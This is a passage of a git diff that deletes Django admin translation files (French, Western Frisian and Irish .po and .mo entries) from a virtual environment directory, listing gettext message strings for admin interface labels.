serveur de %s heures." -msgstr[2] "Note : votre heure précède l'heure du serveur de %s heures." - -msgid "Choose a Time" -msgstr "Choisir une heure" - -msgid "Choose a time" -msgstr "Choisir une heure" - -msgid "Cancel" -msgstr "Annuler" - -msgid "Today" -msgstr "Aujourd'hui" - -msgid "Choose a Date" -msgstr "Choisir une date" - -msgid "Yesterday" -msgstr "Hier" - -msgid "Tomorrow" -msgstr "Demain" - -msgid "January" -msgstr "Janvier" - -msgid "February" -msgstr "Février" - -msgid "March" -msgstr "Mars" - -msgid "April" -msgstr "Avril" - -msgid "May" -msgstr "Mai" - -msgid "June" -msgstr "Juin" - -msgid "July" -msgstr "Juillet" - -msgid "August" -msgstr "Août" - -msgid "September" -msgstr "Septembre" - -msgid "October" -msgstr "Octobre" - -msgid "November" -msgstr "Novembre" - -msgid "December" -msgstr "Décembre" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "fév" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "avr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "mai" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "jui" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "aoû" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "oct" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "déc" - -msgid "Sunday" -msgstr "dimanche" - -msgid "Monday" -msgstr "lundi" - -msgid "Tuesday" -msgstr "mardi" - -msgid "Wednesday" -msgstr "mercredi" - -msgid "Thursday" -msgstr "jeudi" - -msgid "Friday" -msgstr "vendredi" - -msgid "Saturday" -msgstr "samedi" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "dim" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "lun" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "mar" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "mer" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "jeu" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "ven" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "sam" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "D" - -msgctxt "one letter Monday" -msgid "M" -msgstr "L" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "M" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "M" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "J" - -msgctxt "one letter Friday" -msgid "F" -msgstr "V" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fy/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fy/LC_MESSAGES/django.mo deleted file mode 100644 index cdea1d8a..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fy/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fy/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fy/LC_MESSAGES/django.po deleted file mode 100644 index 52310d3d..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fy/LC_MESSAGES/django.po +++ /dev/null @@ -1,609 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2015-01-17 11:07+0100\n" -"PO-Revision-Date: 2015-01-18 08:31+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Western Frisian (http://www.transifex.com/projects/p/django/" -"language/fy/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: fy\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "" - -msgid "Are you sure?" -msgstr "" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "" - -msgid "Yes" -msgstr "" - -msgid "No" -msgstr "" - -msgid "Unknown" -msgstr "" - -msgid "Any date" -msgstr "" - -msgid "Today" -msgstr "" - -msgid "Past 7 days" -msgstr "" - -msgid "This month" -msgstr "" - -msgid "This year" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "" - -msgid "action time" -msgstr "" - -msgid "object id" -msgstr "" - -msgid "object repr" -msgstr "" - -msgid "action flag" -msgstr "" - -msgid "change message" -msgstr "" - -msgid "log entry" -msgstr "" - -msgid "log entries" -msgstr "" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "" - -msgid "LogEntry Object" -msgstr "" - -msgid "None" -msgstr "" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-format -msgid "Changed %s." -msgstr "" - -msgid "and" -msgstr "" - -#, python-format -msgid "Added %(name)s \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Changed %(list)s for %(name)s \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Deleted %(name)s \"%(object)s\"." -msgstr "" - -msgid "No fields changed." -msgstr "" - -#, python-format -msgid "" -"The %(name)s \"%(obj)s\" was added successfully. You may edit it again below." -msgstr "" - -#, python-format -msgid "" -"The %(name)s \"%(obj)s\" was added successfully. You may add another " -"%(name)s below." -msgstr "" - -#, python-format -msgid "The %(name)s \"%(obj)s\" was added successfully." -msgstr "" - -#, python-format -msgid "" -"The %(name)s \"%(obj)s\" was changed successfully. You may edit it again " -"below." -msgstr "" - -#, python-format -msgid "" -"The %(name)s \"%(obj)s\" was changed successfully. You may add another " -"%(name)s below." -msgstr "" - -#, python-format -msgid "The %(name)s \"%(obj)s\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" - -msgid "No action selected." -msgstr "" - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s object with primary key %(key)r does not exist." -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "" - -#, python-format -msgid "Change %s" -msgstr "" - -msgid "Database error" -msgstr "" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "" - -#, python-format -msgid "Change history: %s" -msgstr "" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "" - -msgid "Django administration" -msgstr "" - -msgid "Site administration" -msgstr "" - -msgid "Log in" -msgstr "" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "" - -msgid "We're sorry, but the requested page could not be found." -msgstr "" - -msgid "Home" -msgstr "" - -msgid "Server error" -msgstr "" - -msgid "Server error (500)" -msgstr "" - -msgid "Server Error (500)" -msgstr "" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "" - -msgid "Go" -msgstr "" - -msgid "Click here to select the objects across all pages" -msgstr "" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "" - -msgid "Clear selection" -msgstr "" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "" - -msgid "Change password" -msgstr "" - -msgid "Please correct the error below." -msgstr "" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" - -msgid "Welcome," -msgstr "" - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "" - -msgid "Log out" -msgstr "" - -msgid "Add" -msgstr "" - -msgid "History" -msgstr "" - -msgid "View on site" -msgstr "" - -#, python-format -msgid "Add %(name)s" -msgstr "" - -msgid "Filter" -msgstr "" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Change" -msgstr "" - -msgid "Remove" -msgstr "" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "" - -msgid "Delete?" -msgstr "" - -#, python-format -msgid " By %(filter_title)s " -msgstr "" - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "You don't have permission to edit anything." -msgstr "" - -msgid "Recent Actions" -msgstr "" - -msgid "My Actions" -msgstr "" - -msgid "None available" -msgstr "" - -msgid "Unknown content" -msgstr "" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Date/time" -msgstr "" - -msgid "User" -msgstr "" - -msgid "Action" -msgstr "" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "" - -msgid "Save" -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "" - -msgid "Save as new" -msgstr "" - -msgid "Save and add another" -msgstr "" - -msgid "Save and continue editing" -msgstr "" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "" - -msgid "Log in again" -msgstr "" - -msgid "Password change" -msgstr "" - -msgid "Your password was changed." -msgstr "" - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "" - -msgid "Password reset" -msgstr "" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" - -msgid "Password reset confirmation" -msgstr "" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" - -msgid "New password:" -msgstr "" - -msgid "Confirm password:" -msgstr "" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "" - -msgid "Your username, in case you've forgotten:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "" - -#, python-format -msgid "The %(site_name)s team" -msgstr "" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "" - -msgid "All dates" -msgstr "" - -msgid "(None)" -msgstr "" - -#, python-format -msgid "Select %s" -msgstr "" - -#, python-format -msgid "Select %s to change" -msgstr "" - -msgid "Date:" -msgstr "" - -msgid "Time:" -msgstr "" - -msgid "Lookup" -msgstr "" - -msgid "Currently:" -msgstr "" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fy/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fy/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 489bbab4..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fy/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fy/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fy/LC_MESSAGES/djangojs.po deleted file mode 100644 index ba09badf..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fy/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,145 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2015-01-17 11:07+0100\n" -"PO-Revision-Date: 2014-10-05 20:13+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Western Frisian (http://www.transifex.com/projects/p/django/" -"language/fy/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: fy\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "" - -msgid "Choose all" -msgstr "" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "" - -msgid "Choose" -msgstr "" - -msgid "Remove" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "" -msgstr[1] "" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Now" -msgstr "" - -msgid "Clock" -msgstr "" - -msgid "Choose a time" -msgstr "" - -msgid "Midnight" -msgstr "" - -msgid "6 a.m." -msgstr "" - -msgid "Noon" -msgstr "" - -msgid "Cancel" -msgstr "" - -msgid "Today" -msgstr "" - -msgid "Calendar" -msgstr "" - -msgid "Yesterday" -msgstr "" - -msgid "Tomorrow" -msgstr "" - -msgid "" -"January February March April May June July August September October November " -"December" -msgstr "" - -msgid "S M T W T F S" -msgstr "" - -msgid "Show" -msgstr "" - -msgid "Hide" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ga/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ga/LC_MESSAGES/django.mo deleted file mode 100644 index 4f4d2865..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ga/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ga/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ga/LC_MESSAGES/django.po deleted file mode 100644 index bc55f335..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ga/LC_MESSAGES/django.po +++ /dev/null @@ -1,810 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Aindriú Mac Giolla Eoin, 2024 -# Jannis Leidel , 2011 -# Luke Blaney , 2019 -# Michael Thornhill , 2011-2012,2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-10-07 07:05+0000\n" -"Last-Translator: Aindriú Mac Giolla Eoin, 2024\n" -"Language-Team: Irish (http://app.transifex.com/django/django/language/ga/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ga\n" -"Plural-Forms: nplurals=5; plural=(n==1 ? 0 : n==2 ? 1 : n<7 ? 2 : n<11 ? 3 : " -"4);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Scrios %(verbose_name_plural) roghnaithe" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "D'éirigh le scriosadh %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Ní féidir scriosadh %(name)s " - -msgid "Are you sure?" -msgstr "An bhfuil tú cinnte?" - -msgid "Administration" -msgstr "Riarachán" - -msgid "All" -msgstr "Gach" - -msgid "Yes" -msgstr "Tá" - -msgid "No" -msgstr "Níl" - -msgid "Unknown" -msgstr "Gan aithne" - -msgid "Any date" -msgstr "Aon dáta" - -msgid "Today" -msgstr "Inniu" - -msgid "Past 7 days" -msgstr "7 lá a chuaigh thart" - -msgid "This month" -msgstr "Táim cinnte" - -msgid "This year" -msgstr "An blian seo" - -msgid "No date" -msgstr "Gan dáta" - -msgid "Has date" -msgstr "Le dáta" - -msgid "Empty" -msgstr "Folamh" - -msgid "Not empty" -msgstr "Gan folamh" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Cuir isteach an %(username)s agus focal faire ceart le haghaidh cuntas " -"foirne. Tabhair faoi deara go bhféadfadh an dá réimsí a cás-íogair." - -msgid "Action:" -msgstr "Aicsean:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Cuir eile %(verbose_name)s" - -msgid "Remove" -msgstr "Tóg amach" - -msgid "Addition" -msgstr "Suimiú" - -msgid "Change" -msgstr "Athraigh" - -msgid "Deletion" -msgstr "Scriosadh" - -msgid "action time" -msgstr "am aicsean" - -msgid "user" -msgstr "úsáideoir" - -msgid "content type" -msgstr "cineál ábhair" - -msgid "object id" -msgstr "id oibiacht" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "repr oibiacht" - -msgid "action flag" -msgstr "brat an aicsean" - -msgid "change message" -msgstr "teachtaireacht athrú" - -msgid "log entry" -msgstr "loga iontráil" - -msgid "log entries" -msgstr "loga iontrálacha" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Curtha leis “%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Athraithe “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Scriosta “%(object)s.”" - -msgid "LogEntry Object" -msgstr "Oibiacht LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Cuireadh {name} “{object}”." - -msgid "Added." -msgstr "Curtha leis." - -msgid "and" -msgstr "agus" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Athraíodh {fields} le haghaidh {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} athrithe." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Scriosadh {name} “{object}”." - -msgid "No fields changed." -msgstr "Dada réimse aithraithe" - -msgid "None" -msgstr "Dada" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Coinnigh síos “Rialú”, nó “Ordú” ar Mac, chun níos mó ná ceann amháin a " -"roghnú." - -msgid "Select this object for an action - {}" -msgstr "Roghnaigh an réad seo le haghaidh gnímh - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "Cuireadh an {name} “{obj}” leis go rathúil." - -msgid "You may edit it again below." -msgstr "Thig leat é a athrú arís faoi seo." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"Cuireadh an {name} “{obj}” leis go rathúil. Is féidir leat {name} eile a " -"chur leis thíos." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"Athraíodh an {name} “{obj}” go rathúil. Is féidir leat é a chur in eagar " -"arís thíos." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"Athraíodh an {name} “{obj}” go rathúil. Is féidir leat {name} eile a chur " -"leis thíos." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "Athraíodh an {name} “{obj}” go rathúil." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Ní mór Míreanna a roghnú chun caingne a dhéanamh orthu. Níl aon mhíreanna a " -"athrú." - -msgid "No action selected." -msgstr "Uimh gníomh roghnaithe." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "D'éirigh le scriosadh %(name)s \"%(obj)s\"." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "Níl %(name)s le haitheantas “%(key)s” ann. B'fhéidir gur scriosadh é?" - -#, python-format -msgid "Add %s" -msgstr "Cuir %s le" - -#, python-format -msgid "Change %s" -msgstr "Aithrigh %s" - -#, python-format -msgid "View %s" -msgstr "Amharc ar %s" - -msgid "Database error" -msgstr "Botún bunachar sonraí" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s athraithe go rathúil" -msgstr[1] "%(count)s %(name)s athraithe go rathúil" -msgstr[2] "%(count)s %(name)s athraithe go rathúil" -msgstr[3] "%(count)s %(name)s athraithe go rathúil" -msgstr[4] "%(count)s %(name)s athraithe go rathúil" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s roghnaithe" -msgstr[1] "Gach %(total_count)s roghnaithe" -msgstr[2] "Gach %(total_count)s roghnaithe" -msgstr[3] "Gach %(total_count)s roghnaithe" -msgstr[4] "Gach %(total_count)s roghnaithe" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 as %(cnt)s roghnaithe." - -#, python-format -msgid "Change history: %s" -msgstr "Athraigh stáir %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Teastaíodh scriosadh %(class_name)s %(instance)s scriosadh na rudaí a " -"bhaineann leis: %(related_objects)s" - -msgid "Django site admin" -msgstr "Riarthóir suíomh Django" - -msgid "Django administration" -msgstr "Riarachán Django" - -msgid "Site administration" -msgstr "Riaracháin an suíomh" - -msgid "Log in" -msgstr "Logáil isteach" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s riaracháin" - -msgid "Page not found" -msgstr "Ní bhfuarthas an leathanach" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Ár leithscéal, ach níorbh fhéidir an leathanach iarrtha a aimsiú." - -msgid "Home" -msgstr "Baile" - -msgid "Server error" -msgstr "Botún freastalaí" - -msgid "Server error (500)" -msgstr "Botún freastalaí (500)" - -msgid "Server Error (500)" -msgstr "Botún Freastalaí (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Tharla earráid. Tuairiscíodh do riarthóirí an tsuímh trí ríomhphost agus ba " -"cheart é a shocrú go luath. Go raibh maith agat as do foighne." - -msgid "Run the selected action" -msgstr "Rith an gníomh roghnaithe" - -msgid "Go" -msgstr "Té" - -msgid "Click here to select the objects across all pages" -msgstr "" -"Cliceáil anseo chun na hobiacht go léir a roghnú ar fud gach leathanach" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Roghnaigh gach %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Scroiseadh modhnóir" - -msgid "Breadcrumbs" -msgstr "Brioscáin aráin" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Samhlacha ins an %(name)s iarratais" - -msgid "Add" -msgstr "Cuir le" - -msgid "View" -msgstr "Amharc ar" - -msgid "You don’t have permission to view or edit anything." -msgstr "Níl cead agat aon rud a fheiceáil ná a chur in eagar." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "Níl cead agat aon rud a fheiceáil ná a chur in eagar." - -msgid "Enter a username and password." -msgstr "Cuir isteach ainm úsáideora agus focal faire." - -msgid "Change password" -msgstr "Athraigh focal faire" - -msgid "Set password" -msgstr "Socraigh pasfhocal" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Ceartaigh an earráid thíos le do thoil." -msgstr[1] "Ceartaigh na hearráidí thíos le do thoil." -msgstr[2] "Ceartaigh na hearráidí thíos le do thoil." -msgstr[3] "Ceartaigh na hearráidí thíos le do thoil." -msgstr[4] "Ceartaigh na hearráidí thíos le do thoil." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Iontráil focal faire nua le hadhaigh an úsaideor %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Cumasóidh an gníomh seo fhíordheimhniú pasfhocal-bhunaithe " -"don úsáideoir seo." - -msgid "Disable password-based authentication" -msgstr "Díchumasaigh fíordheimhniú pasfhocal-bhunaithe" - -msgid "Enable password-based authentication" -msgstr "Cumasaigh fíordheimhniú pasfhocal-bhunaithe" - -msgid "Skip to main content" -msgstr "Téigh ar aghaidh chuig an bpríomhábhar" - -msgid "Welcome," -msgstr "Fáilte" - -msgid "View site" -msgstr "Breatnaigh ar an suíomh" - -msgid "Documentation" -msgstr "Doiciméadúchán" - -msgid "Log out" -msgstr "Logáil amach" - -#, python-format -msgid "Add %(name)s" -msgstr "Cuir %(name)s le" - -msgid "History" -msgstr "Stair" - -msgid "View on site" -msgstr "Breath ar suíomh" - -msgid "Filter" -msgstr "Scagaire" - -msgid "Hide counts" -msgstr "Folaigh comhaireamh" - -msgid "Show counts" -msgstr "Taispeáin comhaireamh" - -msgid "Clear all filters" -msgstr "Glan na scagairí go léir" - -msgid "Remove from sorting" -msgstr "Bain as sórtáil" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sórtáil tosaíocht: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Toggle sórtáil" - -msgid "Toggle theme (current theme: auto)" -msgstr "Scoránaigh an téama (téama reatha: uathoibríoch)" - -msgid "Toggle theme (current theme: light)" -msgstr "Scoránaigh an téama (téama reatha: solas)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Scoránaigh an téama (téama reatha: dorcha)" - -msgid "Delete" -msgstr "Cealaigh" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Má scriossan tú %(object_name)s '%(escaped_object)s' scriosfaidh oibiachtí " -"gaolta. Ach níl cead ag do cuntas na oibiacht a leanúint a scriosadh:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Bheadh Scriosadh an %(object_name)s '%(escaped_object)s' a cheangal ar an " -"méid seo a leanas a scriosadh nithe cosanta a bhaineann le:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"An bhfuil tú cinnte na %(object_name)s \"%(escaped_object)s\" a scroiseadh?" -"Beidh gach oibiacht a leanúint scroiste freisin:" - -msgid "Objects" -msgstr "Oibiachtaí" - -msgid "Yes, I’m sure" -msgstr 